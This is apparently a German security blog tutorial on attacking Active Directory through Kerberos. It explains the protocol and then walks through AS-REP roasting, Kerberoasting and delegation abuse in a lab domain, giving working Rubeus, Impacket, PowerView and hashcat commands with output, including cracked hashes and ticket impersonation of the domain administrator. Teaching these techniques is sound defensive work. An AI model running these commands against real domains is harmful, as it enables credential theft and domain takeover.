Angriffe auf Active Directory

Übersicht

• Active Directory und Ransomware
• Das Kerberos-Protokoll
• AS-REP Roasting
• Kerberoasting
• Kerberos-Delegation

Active Directory und Ransomware

Active Directory (AD) ist ein Verzeichnisdienst für Windows-Unternehmensumgebungen, den Microsoft im Jahr 2000 veröffentlichte. AD basiert auf den Protokollen X.500 und LDAP. AD bietet eine verteilte hierarchische Struktur, die eine Verwaltung der Ressourcen (Benutzer, Geräte (z. B. Drucker, Netzwerkgeräte, Computer), Freigaben, Richtlinien etc.) eines Unternehmens ermöglicht. AD ist weltweit verbreitet und die meistgenutzte IAM-Lösung (Identity Access Management). Eine Kompromittierung des ADs eines Unternehmens bedeutet Zugang zu allen Unternehmenssystemen und Daten. Sicherheitsforscher entdecken und veröffentlichen regelmäßig Schwachstellen im AD, die von Angreifern ausgenutzt werden.

Eines der meistverbreiteten Geschäftsmodelle derzeit ist der Einsatz von Ransomware, um kritische Unternehmensdaten zu verschlüsseln und zu exfiltrieren und anschließend für die Entschlüsselung und Nichtveröffentlichung der Daten ein Lösegeld zu fordern. In Deutschland wurden, dem Bundeslagebild nach, 2023 von mehr als 800 Unternehmen und Institutionen Ransomware-Fälle angezeigt. Die Schäden durch Erpressung mit exfiltrierten und/oder verschlüsselten Daten beliefen sich auf 16,1 Mrd. Euro, berichtet der WDR.

Im Folgenden möchte ich daher über die typischsten Angriffsmethoden auf eine Active-Directory-Umgebung aufklären.

Das Kerberos-Protokoll

Kerberos ist seit Windows 2000 ein auf Tickets basierendes Standard-Authentifizierungsprotokoll für Domänenkonten und läuft standardmäßig auf Port 88. Kerberos ist ein offener Standard und ermöglicht die Interoperabilität mit anderen Systemen, die denselben Standard verwenden. Innerhalb einer Active-Directory-Umgebung verfügt jeder Domaincontroller über ein Key Distribution Center (KDC), das für die Ticketverwaltung zuständig ist. Das KDC besteht jeweils aus einem Authentication Service und einem Ticket Granting Service.

Ablauf:

1. Authentication Server Request (AS_REQ)

Sobald sich ein Benutzer über einen Client an einer Domäne anmelden möchte, schickt dieser einen AS_REQ an den Authentication Service. Der AS_REQ enthält den aktuellen Zeitstempel, der mit dem NTLM-Passwort-Hash des Benutzers verschlüsselt ist. Der Authentication Service zieht sich daraufhin aus der Active-Directory-Datenbank (NTDS.DIT) den Passwort-Hash des Benutzers und versucht, mit diesem den Zeitstempel zu entschlüsseln.

2. Authentication Server Reply (AS_REP)

Funktioniert dies erfolgreich und ist der Zeitstempel ≦ 5 Minuten alt, schickt der Authentication Service einen AS_REP an den Client, der aus einem Session Key besteht, der mit dem Passwort-Hash des Benutzers verschlüsselt ist, und einem Ticket Granting Ticket (TGT), das mit dem Passwort-Hash des krbtgt-Accounts verschlüsselt und standardmäßig für 10 Stunden gültig ist.

Mit Schritt 1 und 2 ist die Kerberos-Vorauthentifizierung abgeschlossen.

3. Ticket Granting Service Request (TGS_REQ)

Möchte ein Client auf eine Ressource bzw. einen Dienst innerhalb einer Domäne zugreifen, z. B. einen Fileshare oder Datenbankserver, schickt dieser einen TGS_REQ an den Ticket Granting Service. Der TGS_REQ enthält den Benutzernamen, den Namen der Ressource, das TGT und einen Zeitstempel, der mit dem Session Key verschlüsselt ist.

4. Ticket Granting Service Reply (TGS_REP)

Nach erfolgreicher Verifikation des TGS_REQ sendet der Ticket Granting Service einen TGS_REP an den Client zurück. Das TGS_REP enthält ein Ticket Granting Service Ticket für die angeforderte Ressource, das mit deren Passwort-Hash verschlüsselt ist.

5. Application Request (AP_REQ)

Der Client schickt das TGS zusammen mit Benutzernamen, Zeitstempel und Session Key an den Application Server (Ressource). Dieser entschlüsselt das Service Ticket mit seinem eigenen Passwort-Hash.

6. Service Authentication

Hat der authentifizierte Benutzer nun auch die Zulassung, auf den Dienst zuzugreifen, wird der Zugang gewährt.

Mit diesem Prozess entkoppelt Kerberos effektiv die Anmeldedaten von Benutzern von deren Anfragen an Ressourcen innerhalb eines Netzwerkes, indem die Annahme getroffen wird, dass jeder Benutzer, der über ein gültiges TGT verfügt, bereits erfolgreich seine Identität nachweisen konnte.

AS-REP Roasting

Erklärung

Wenn das Attribut "Do not require Kerberos preauthentication" bei einem Benutzer aktiviert ist, ist es für einen Angreifer möglich, innerhalb einer Domäne Authentifizierungsdaten für diesen Benutzer anzufordern, und der KDC würde ein AS-REP zurücksenden. Da ein Teil dieser Nachricht mit dem Kennwort des Benutzers verschlüsselt ist, kann der Angreifer dann versuchen, das Kennwort des Benutzers offline zu cracken.

Action

Auf dem Domaincontroller DC01 für die Domäne EXAMPLE.COM setzen wir für den Benutzer Bob die Option "Do not require Kerberos preauthentication".

Get-ADUser -Identity "Bob" | Set-ADAccountControl -doesnotrequirepreauth $true

Wie in Abbild 1 zu sehen ist, ist DoesNotRequirePreAuth auf True gesetzt.

Per Windows

Verfügt der Angreifer über eine Windows-Workstation und Benutzer, die in der Active-Directory-Domäne eingebunden sind, und wurden Schutzsysteme wie Windows Defender deaktiviert, kann er mit Rubeus alle Benutzerkonten abrufen, bei denen die Vorauthentifizierung deaktiviert ist, und von diesen die Passwort-Hashes extrahieren.

C:\Users\Alice\Desktop>Rubeus.exe asreproast /nowrap
...
   ______        _
  (_____ \      | |
   _____) )_   _| |__  _____ _   _  ___
  |  __  /| | | |  _ \| ___ | | | |/___)
  | |  \ \| |_| | |_) ) ____| |_| |___ |
  |_|   |_|____/|____/|_____)____/(___/

  v2.2.0
...
[*] Action: AS-REP roasting

[*] Target Domain          : example.com

[*] Searching path 'LDAP://DC01.example.com/DC=example,DC=com' for '(&(samAccountType=805306368)(userAccountControl:1.2.840.113556.1.4.803:=4194304))'
[*] SamAccountName         : Bob
[*] DistinguishedName      : CN=Bob,CN=Users,DC=example,DC=com
[*] Using domain controller: DC01.example.com (192.168.1.100)
[*] Building AS-REQ (w/o preauth) for: 'example.com\Bob'
[+] AS-REQ w/o preauth successful!
[*] AS-REP hash:
...   $krb5asrep$Bob@example.com:8ACF8A7F2AD21A9C9A7113452532F5FB$996ED10E8321BBD437821C47BB92768CDE042A923EAE29BE77B94A8165F846F676BB803C7393307C28D1D6035BAE2535730753C1D7E1C3380F1C4F99D190C1001B9C66A9B815E73246BBF4AD5CEED3AAC56B4FDC2DB954D30192EBCE329ED7A65D3FEFFDE6673F9293A7C3DAD0057BC68D0DB4EA2558DB88FD103720F4040C854568A77616388A49640E1F605900BC1C1D11C8CA27CD6AB0E31FCA6545EFDED6938E56877AEAFF083F68E320E5A9054C8B08C02B64A0280E3DF57422491F70D6404E1E8B13AB4DE29214915D05C3A0651DC6C090254A082388D498AE73E5CA52BCEB77A9242ADD39EF08

Per Kali Linux

Mit einer Linux-Maschine, die DC01 erreichen kann, könnt ihr ein AS-REP Roasting auch durchführen, mittels GetNPUsers von Impacket.

impacket-GetNPUsers example.com/Alice -request -outputfile hashes.asreproast -dc-ip 192.168.1.100
Impacket v0.12.0.dev1 - Copyright 2023 Fortra

Password:
Name  MemberOf  PasswordLastSet             LastLogon                   UAC
----  --------  --------------------------  --------------------------  --------
Bob             2024-08-21 03:05:48.242695  2024-08-21 05:10:29.737379  0x400200
...
$krb5asrep$23$Bob@EXAMPLE.COM:ecbdf494fd579a601fc9f5ce23bf8330$746928bc17a074576931ec622523820c269f6c7ad7115134017db14dd0ab0b5f7da21d7709541ced0dfa647e634a68874ba9a0f9ef12492244a2a516d1abb6c985a285d598b5291f3220af32cf5fab02ab1f5cfe03e4c1954baba711ed205d2261101cfd4eef2dbc727775ce7efaa79c2fb02d9c2b7c8148ee2caa828f374a020398f01d8669d89dacce35b5e4908b4319272ac51e8321ce54f96977a5cbd7308670452dbb114e2b74e581b6deecbbf773a93d7bf3467e00b9d17a48a3de8d868d7c6cc0c71d1e5f710e4cbf7408aade88f5c27402da5caf62f7f6c0bcb482f256df20658bdd2b010644

Um den Hash jetzt zu cracken, bietet es sich an, auf Kali Linux Hashcat oder John the Ripper zu verwenden. Das folgende Hashcat-Beispiel zeigt, wie der gespeicherte Hash gecrackt werden kann.

hashcat -h | grep -i "AS-REP"
18200 | Kerberos 5, etype 23, AS-REP                         | Network Protocol

hashcat -m 18200 -a 0 hashes.asreproast rockyou.txt
hashcat (v6.2.6) starting

OpenCL API (OpenCL 3.0 PoCL 5.0+debian  Linux, None+Asserts, RELOC, SPIR, LLVM 17.0.6, SLEEF, DISTRO, POCL_DEBUG) - Platform #1 [The pocl project]
==================================================================================================================================================
* Device #1: cpu-sandybridge-Intel(R) Core(TM) i7-9850H CPU @ 2.60GHz, 8010/16084 MB (2048 MB allocatable), 5MCU

Minimum password length supported by kernel: 0
Maximum password length supported by kernel: 256

Hashes: 1 digests; 1 unique digests, 1 unique salts
Bitmaps: 16 bits, 65536 entries, 0x0000ffff mask, 262144 bytes, 5/13 rotates
Rules: 1

Optimizers applied:
* Zero-Byte
* Not-Iterated
* Single-Hash
* Single-Salt

ATTENTION! Pure (unoptimized) backend kernels selected.
Pure kernels can crack longer passwords, but drastically reduce performance.
If you want to switch to optimized kernels, append -O to your commandline.
See the above message to find out about the exact limits.

Watchdog: Temperature abort trigger set to 90c

Host memory required for this attack: 1 MB

Dictionary cache built:
* Filename..: rockyou.txt
* Passwords.: 14344393
* Bytes.....: 139921520
* Keyspace..: 14344386
* Runtime...: 0 secs

$krb5asrep$23$Bob@EXAMPLE.COM:ecbdf494fd579a601fc9f5ce23bf8330$746928bc17a074576931ec622523820c269f6c7ad7115134017db14dd0ab0b5f7da21d7709541ced0dfa647e634a68874ba9a0f9ef12492244a2a516d1abb6c985a285d598b5291f3220af32cf5fab02ab1f5cfe03e4c1954baba711ed205d2261101cfd4eef2dbc727775ce7efaa79c2fb02d9c2b7c8148ee2caa828f374a020398f01d8669d89dacce35b5e4908b4319272ac51e8321ce54f96977a5cbd7308670452dbb114e2b74e581b6deecbbf773a93d7bf3467e00b9d17a48a3de8d868d7c6cc0c71d1e5f710e4cbf7408aade88f5c27402da5caf62f7f6c0bcb482f256df20658bdd2b010644:P@ssw0rd123!

Session..........: hashcat
Status...........: Cracked
Hash.Mode........: 18200 (Kerberos 5, etype 23, AS-REP)
Hash.Target......: $krb5asrep$23$Bob@EXAMPLE.COM:ecbdf494fd579a601fc9f...010644
Time.Started.....: Wed Aug 21 05:28:46 2024 (0 secs)
Time.Estimated...: Wed Aug 21 05:28:46 2024 (0 secs)
Kernel.Feature...: Pure Kernel
Guess.Base.......: File (rockyou.txt)
Guess.Queue......: 1/1 (100.00%)
Speed.#1.........:   126.9 kH/s (2.12ms) @ Accel:1024 Loops:1 Thr:1 Vec:8
Recovered........: 1/1 (100.00%) Digests (total), 1/1 (100.00%) Digests (new)
Progress.........: 5120/14344386 (0.04%)
Rejected.........: 0/5120 (0.00%)
Restore.Point....: 0/14344386 (0.00%)
Restore.Sub.#1...: Salt:0 Amplifier:0-1 Iteration:0-1
Candidate.Engine.: Device Generator
Candidates.#1....: 123456 -> celica
Hardware.Mon.#1..: Util: 20%

Started: Wed Aug 21 05:28:45 2024

Kerberoasting

Erklärung

Kerberoasting ist eine Technik der lateralen Bewegung bzw. Privilegienerweiterung in Active-Directory-Umgebungen. Die Technik zielt auf Service Principal Names (SPN)-Konten ab. SPNs sind eindeutige Bezeichner, die Kerberos verwendet, um einen Dienst (z. B. eine Webapplikation) einem Dienstkonto zuzuordnen, in dessen Kontext der Dienst ausgeführt wird. Domänenkonten bzw. Domänenbenutzer werden häufig für die Ausführung von Diensten verwendet, um die Beschränkungen der Netzwerkauthentifizierung von integrierten Konten wie NT AUTHORITY\LOCAL SERVICE zu umgehen. Wie wir bereits wissen, kann jeder Domänenbenutzer ein Ticket Granting Service Ticket für jedes Dienstkonto in derselben Domäne anfordern. Dies ist auch über Forest-Trusts hinweg möglich, wenn die Authentifizierung über die Trust-Grenze hinweg erlaubt ist.

Wenn wir ein Ticket Granting Service Ticket für ein Konto mit einem SPN abrufen, ist dies wie oben beschrieben mit dem NTLM-Hash des Dienstkontos verschlüsselt. Wir können also einen Offline-Brute-Force-Angriff auf das Ticket durchführen, um möglicherweise an das Klartextpasswort des Dienstkontos zu gelangen.

Action

Per Windows

Mit der auf jedem Windows-System vorinstallierten Setspn-Binary können wir alle existierenden SPNs innerhalb einer Domäne auflisten:

C:\Users\Bob.EXAMPLE>setspn.exe -Q */*
Die Domäne "DC=example,DC=com" wird überprüft.
CN=DC01,OU=Domain Controllers,DC=example,DC=com
        Dfsr-12F9A27C-BF97-4787-9364-D31B6C55EB04/DC01.example.com
        ldap/DC01.example.com/ForestDnsZones.example.com
        ldap/DC01.example.com/DomainDnsZones.example.com
        DNS/DC01.example.com
        GC/DC01.example.com/example.com
        RestrictedKrbHost/DC01.example.com
        RestrictedKrbHost/DC01
        RPC/5e85c7b5-dedc-4bfc-8b63-b8f881009dda._msdcs.example.com
        HOST/DC01/EXAMPLE
        HOST/DC01.example.com/EXAMPLE
        HOST/DC01
        HOST/DC01.example.com
        HOST/DC01.example.com/example.com
        E3514235-4B06-11D1-AB04-00C04FC2DCD2/5e85c7b5-dedc-4bfc-8b63-b8f881009dda/example.com
        ldap/DC01/EXAMPLE
        ldap/5e85c7b5-dedc-4bfc-8b63-b8f881009dda._msdcs.example.com
        ldap/DC01.example.com/EXAMPLE
        ldap/DC01
        ldap/DC01.example.com
        ldap/DC01.example.com/example.com
CN=krbtgt,CN=Users,DC=example,DC=com
        kadmin/changepw
CN=Alice,CN=Users,DC=example,DC=com
        HTTP/example.com
CN=WORKSTATION,CN=Computers,DC=example,DC=com
        RestrictedKrbHost/WORKSTATION
        HOST/WORKSTATION
        RestrictedKrbHost/Workstation.example.com
        HOST/Workstation.example.com

Bestehender SPN wurde gefunden.

Wir sehen hier einige Computer-Accounts. Das Passwort eines Computers ist standardmäßig 128 Zeichen lang und wird alle 30 Tage automatisch geändert, weshalb es kein lohnenswertes Ziel darstellt. Also fokussieren wir uns auf Benutzer-Accounts.

Um das TGS abzurufen, das mit dem Passwort-Hash vom Benutzer Alice verschlüsselt ist, benutze ich nun PowerView.ps1. PowerView ist ein PowerShell-Tool zur Ermittlung der Netzwerksituation in Windows-Domänen in der Post-Exploitation-Phase. Es enthält eine Reihe von reinen PowerShell-Ersetzungen für verschiedene Windows-"net *"-Befehle, die PowerShell-AD-Hooks und zugrunde liegende Win32-API-Funktionen nutzen, um nützliche Windows-Domänenfunktionen auszuführen.

PS C:\Users\Bob.EXAMPLE\Desktop> Import-Module .\PowerView.ps1
PS C:\Users\Bob.EXAMPLE\Desktop> Get-DomainUser * -spn | select samaccountname

samaccountname
--------------
krbtgt
Alice

PS C:\Users\Bob.EXAMPLE\Desktop> Get-DomainUser -Identity Alice | Get-DomainSPNTicket -Format Hashcat

SamAccountName       : Alice
DistinguishedName    : CN=Alice,CN=Users,DC=example,DC=com
ServicePrincipalName : HTTP/example.com
TicketByteHexStream  :
Hash                 : $krb5tgs$23$*Alice$example.com$HTTPexample.com*$0746748FDEBAED460EA1FBF893973B54$CAF69BDA702ED5CC075904F6E8FE12D250DE73B15B74CBDDA88404C673F7EDB6CCBF95F960EFA74FA0CEDAE71E34D982551AD1E2C73F29
<SNIPPED>

Beim Kerberoasting werden wir in den meisten AD-Umgebungen Hashes abrufen, die mit $krb5tgs$23$* beginnen, einem RC4 (Typ 23) verschlüsselten Ticket. Es gibt auch Umgebungen, in denen die Tickets mit AES-128 (Typ 17) oder AES-256 (Typ 18) verschlüsselt sind. Auch wenn es weiterhin möglich ist, hier per Brute-Force das Passwort zu cracken, wird hierfür signifikant mehr Zeit benötigt. RC4 wird weiterhin aufgrund von Rückwärtskompatibilität und der evolutionären Entwicklung von Active Directory verwendet. Eine schrittweise Abschaltung von RC4 und Umstellung auf AES wird angestrebt.

Per Linux

Um über Kali Linux den Angriff durchzuführen, nutzen wir von Impacket GetUserSPNs.

impacket-GetUserSPNs -dc-ip 192.168.1.100 EXAMPLE.COM/Bob -request-user Alice -outputfile Alice_tgs

Anschließend können wir versuchen, den Hash mit Hashcat zu cracken.

hashcat -m 13100 Alice_tgs rockyou.txt
hashcat (v6.2.6) starting
<SNIPPED>
733bb0f04301e3c3b4566ee85227f58266167b7d0a1f01:P@ssw0rd123!

Session..........: hashcat
Status...........: Cracked
<SNIPPED>

Kerberos-Delegation

Mit der Kerberos-Delegation ist es für eine Anwendung möglich, auf Ressourcen zuzugreifen, die auf einem anderen Server gehostet werden. Ein Beispiel ist, wenn ein Webserver auf Ressourcen für die Website zugreifen muss, die woanders gehostet werden, wie zum Beispiel eine SQL-Datenbank. Anstatt im Kontext des Dienstkontos, unter dem der Webserver ausgeführt wird, direkt auf die Datenbank zuzugreifen, besteht die Möglichkeit, dem Dienstkonto Delegationsrechte einzuräumen, sodass es im Kontext von anderen Benutzern mit dem SQL-Server interagieren kann. Sobald sich ein Benutzer auf der Website anmeldet, fordert das Dienstkonto im Namen dieses Benutzers Zugriff auf den SQL-Serverdienst an. Dies ermöglicht es dem Benutzer, Zugriff auf die Inhalte in der Datenbank zu erhalten, für die er berechtigt ist, ohne einen Zugriff auf das Dienstkonto des Webservers selbst bereitstellen zu müssen.

Es gibt 3 mögliche Arten von Delegationen:

1. Unconstrained Delegation
2. Constrained Delegation
3. Resource-Based Constrained Delegation

Unconstrained Delegation

Microsoft führte die uneingeschränkte Kerberos-Delegierung in Windows Server 2000 ein, um Diensten den Zugriff auf andere Dienste im Namen eines authentifizierten Benutzers zu ermöglichen, sodass dieser sich nicht erneut authentifizieren muss. Die Delegation kann auf Benutzer UND Computer übertragen werden. Wenn sich ein Benutzer beispielsweise bei einem Webserver authentifiziert hat, kann dieser Webserver den Benutzer impersonieren und auf Backend-Datenbanken zugreifen, ohne dass der Benutzer seine Anmeldeinformationen erneut eingeben muss.

Wenn also ein Benutzer ein TGS für den Webserver möchte, fordert er dies beim KDC an. Der KDC erkennt, dass Unconstrained Delegation für den Webserver aktiviert ist, und packt daher das TGT des Benutzers in das TGS. Der Benutzer erhält das TGS und schickt es an den Webserver. Der Webserver entschlüsselt daraufhin das TGS und erhält so das TGT des Benutzers und kann sich als dieser impersonieren.

Wenn die uneingeschränkte Delegation für ein Konto aktiviert ist, kann es den Benutzer für jeden Dienst in derselben Domäne ausgeben. Daher sind Konten, bei denen die uneingeschränkte Delegation aktiviert ist, lohnenswerte Ziele für Angreifer.

Mit folgendem Befehl in PowerShell können alle Computer im AD ermittelt werden, für die die uneingeschränkte Delegation aktiviert ist.

Get-ADComputer -Filter {TrustedForDelegation -eq $true} -Properties TrustedForDelegation | Select-Object Name, DistinguishedName

Um den Angriff nachzubauen, erstellen wir einen SMB-Share auf Workstation-1 und legen dort die Datei test.txt ab.

Workstation-1 als SYSTEM-Benutzer:

New-Item -Path "C:\SMB-Share" -ItemType Directory
cd C:\SMB-Share
echo "Hello World" > test.txt

Nun greifen wir von DC01 auf den neuen Share zu:

more \\Workstation-1\SMB-Share\test.txt
Hello World

Workstation-1 als SYSTEM-Benutzer:

.\Rubeus.exe triage

Wir benutzen Rubeus, um mit dem triage-Parameter eine Tabelle mit den Kerberos-Tickets des aktuellen Benutzers zu erhalten, sofern dieser nicht über einen erhöhten Status verfügt. Wir führen den Befehl jedoch im Kontext des SYSTEM-Benutzers aus, daher wird eine Tabelle mit allen Kerberos-Tickets auf dem System angezeigt.

.\Rubeus.exe dump /luid:0x2e781a /nowrap

Mit dem dump-Parameter können wir im SYSTEM-Kontext die aktuellen TGTs und Service-Tickets extrahieren. Wenn kein SYSTEM- bzw. ADMIN-Kontext vorliegt, werden die Service-Tickets für den aktuellen Benutzer extrahiert.

Rubeus.exe ptt /ticket:doIF3...Q09N

Der ptt-Parameter übermittelt ein /ticket:X (TGT oder Service-Ticket) für die aktuelle Anmeldesitzung über die LsaCallAuthenticationPackage()-API mit einer KERB_SUBMIT_TKT_REQUEST-Nachricht oder (falls erhöhte Rechte) an die durch /luid:0xA… angegebene Anmeldesitzung.

Rubeus.exe klist

klist listet detaillierte Informationen über die Anmeldesitzung des aktuellen Benutzers und die Kerberos-Tickets auf, wenn es nicht im SYSTEM-Kontext ausgeführt wird. Wenn es in einem SYSTEM-Kontext (wie hier) ausgeführt wird, werden Informationen zu allen Anmeldesitzungen und zugehörigen Kerberos-Tickets angezeigt.

Anschließend ist es z. B. möglich, auf das Dateiverzeichnis von DC01 zuzugreifen.

Constrained Delegation

Die eingeschränkte Delegation wurde mit Windows Server 2003 als sicherere Alternative für Dienste zur Durchführung der Kerberos-Delegation eingeführt. Diese zielt darauf ab, die Anzahl der Dienste einzuschränken, gegenüber denen sich z. B. ein SQL-Server als beliebiger Nutzer impersonieren darf. Der Server kann die TGTs anderer Benutzer nicht mehr zwischenspeichern, aber er kann ein TGS für einen anderen Benutzer mit seinem eigenen TGT beim KDC anfordern.

Mit folgendem Befehl in PowerShell können alle Objekte im AD ermittelt werden, für die die eingeschränkte Delegation aktiviert ist.

Get-ADObject -Filter {msDS-AllowedToDelegateTo -ne "$null"} -Properties msDS-AllowedToDelegateTo

Mit SYSTEM auf Workstation-1:

.\Rubeus.exe dump /luid:0x3e4 /service:krbtgt /nowrap

Anschließend haben wir z. B. folgende Möglichkeiten der Impersonierung:

#Anfordern eines TGS des Domänenadministrators
.\Rubeus.exe s4u /ticket:TGT_workstation-1.kirbi /impersonateuser:Administrator /outfile:TGS_administrator

Wir können mit einem TGT eine S4U-Anfrage durchführen, um ein TGS für CIFS auf DC01 zu erhalten. Dabei wird zuerst ein S4U2self und dann ein S4U2proxy durchgeführt.

S4U2proxy: Die Erweiterung Service for User to Proxy (S4U2proxy) stellt einen Dienst zur Verfügung, der im Namen eines Benutzers ein Service-Ticket für einen anderen Dienst erhält.

S4U2self: Die Erweiterung Service for User to Self (S4U2self) ermöglicht es einem Dienst, im Namen eines Benutzers ein Dienstticket für sich selbst zu erhalten.

#Das TGS erhalten, um sich als Administrator gegenüber dem CIFS.DC01.example.com Dienst auszugeben
.\Rubeus.exe s4u /ticket:TGT_workstation-1.kirbi /tgs:TGS_administrator_Administrator@example.com_to_workstation-1@example.com /msdsspn:"CIFS/DC01.example.com" /outfile:TGS_administrator_CIFS

#Sich als Administrator gegenüber dem HOST Service ausgeben
.\Rubeus.exe s4u /ticket:TGT_workstation-1.kirbi /tgs:TGS_administrator_Administrator@example.com_to_workstation-1@example.com /altservice:HOST /outfile:TGS_administrator_HOST

#Das TGS in den Speicher laden
.\Rubeus.exe ptt /ticket:TGS_administrator_CIFS_HOST-example.com

Erklärung altservice-Parameter

Der CIFS-Dienst kann etwa zum Auflisten und Übertragen von Dateien genutzt werden, aber was wäre, wenn Port 445 nicht verfügbar wäre oder wir eine Option für Lateral Movement bräuchten?

Im Kerberos-Protokoll validiert ein Dienst ein eingehendes TGS, indem er sicherstellt, dass es mit dem symmetrischen Schlüssel des Dienstes verschlüsselt ist. Dieser Schlüssel wird aus dem Passwort-Hash des Objektes abgeleitet, das den Dienst betreibt. Die meisten Dienste laufen im SYSTEM-Kontext eines Computerkontos, z. B. SQL-1$. Daher werden alle Service-Tickets, ob für CIFS, LDAP, HOST usw., mit demselben Schlüssel verschlüsselt. Der SPN spielt bei der Ticketvalidierung keine Rolle.

Außerdem sind die SPN-Informationen im Ticket (d. h. das Feld sname) nicht verschlüsselt und können beliebig geändert werden. Das heißt, wir können ein Service-Ticket für einen Dienst wie CIFS anfordern, dann aber den SPN in einen anderen ändern, z. B. in LDAP, und der Zieldienst wird dies problemlos akzeptieren.

Wir können dies mit dem Flag /altservice in Rubeus missbrauchen. In dem obigen Beispiel verwende ich denselben TGT für Workstation-1, um ein TGS für LDAP anstelle von CIFS von DC01 anzufordern.

Resource-Based Constrained Delegation

Mit Windows 2012 wurde eine neue Art der Delegierung eingeführt, die Resource-Based Constrained Delegation (RBCD), bei der die Delegierungskonfiguration auf dem Ziel und nicht auf der Quelle festgelegt werden kann.

Zum Vergleich: Die eingeschränkte Delegierung wird auf dem "Front-End"-Dienst über sein Attribut msDS-AllowedToDelegateTo konfiguriert. In dem zuvor genannten Beispiel war cifs/dc01.example.com im msDS-AllowedToDelegateTo-Attribut von Workstation-1 enthalten. Dies ermöglichte es dem Workstation-1-Computerkonto, sich gegenüber jedem Dienst auf DC01 als ein beliebiger Benutzer auszugeben, ohne dass DC01 wirklich Einfluss darauf hatte.

RBCD kehrt dieses Konzept um und legt die Kontrolle stattdessen in die Hände des "Backend"-Dienstes, über ein neues Attribut namens msDS-AllowedToActOnBehalfOfOtherIdentity. Für die Änderung dieses Attributs ist auch kein SeEnableDelegationPrivilege erforderlich. Stattdessen benötigen wir nur ein Privileg wie WriteProperty, GenericAll, GenericWrite oder WriteDacl für ein Computerobjekt. Dadurch ist es viel wahrscheinlicher, dass sich eine Möglichkeit für Privilege Escalation oder Lateral Movement ergibt.